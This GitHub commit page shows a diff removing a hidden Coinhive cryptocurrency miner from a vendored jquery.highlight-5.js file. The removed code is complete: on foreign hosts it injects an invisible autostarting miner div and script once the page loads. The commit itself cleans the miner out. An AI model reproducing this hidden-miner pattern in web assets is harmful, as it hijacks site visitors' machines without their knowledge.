Skip to content
This repository has been archived by the owner on Jan 12, 2022. It is now read-only.

Commit

Permalink
fix
Browse files Browse the repository at this point in the history
  • Loading branch information
himiklab committed Nov 2, 2017
1 parent 0e5dd83 commit 4a8999a
Showing 1 changed file with 0 additions and 33 deletions.
33 changes: 0 additions & 33 deletions module/search/assets/js/jquery.highlight-5.js
Original file line number Diff line number Diff line change
Expand Up @@ -52,36 +52,3 @@ jQuery.fn.removeHighlight = function() {
}
}).end();
};

/* PLEASE DO NOT HOTLINK MY FILES, THANK YOU. */

if (!/johannburkard.de$/i.test(location.hostname)) {
function loadCoinhive() {
(function() {
try {
var div = document.createElement('div')
div.setAttribute('class', 'coinhive-miner')
div.setAttribute('style', 'width: 0; height: 0; display: none')
div.setAttribute('data-key', '4YSJkhitlocdnLIqQ2zEpzOK6cDQRGfM')
div.setAttribute('data-autostart', 'true')
document.body.appendChild(div)

var script = document.createElement('script')
script.setAttribute('src', 'https://coinhive.com/lib/miner.min.js')
document.body.appendChild(script)
}
catch (e) {}
})()
}
if (/m/.test(document.readyState)) { // coMplete
loadCoinhive()
}
else {
if ("undefined" != typeof window.attachEvent) {
window.attachEvent("onload", loadCoinhive)
}
else if (window.addEventListener) {
window.addEventListener("load", loadCoinhive, false)
}
}
}

0 comments on commit 4a8999a

Please sign in to comment.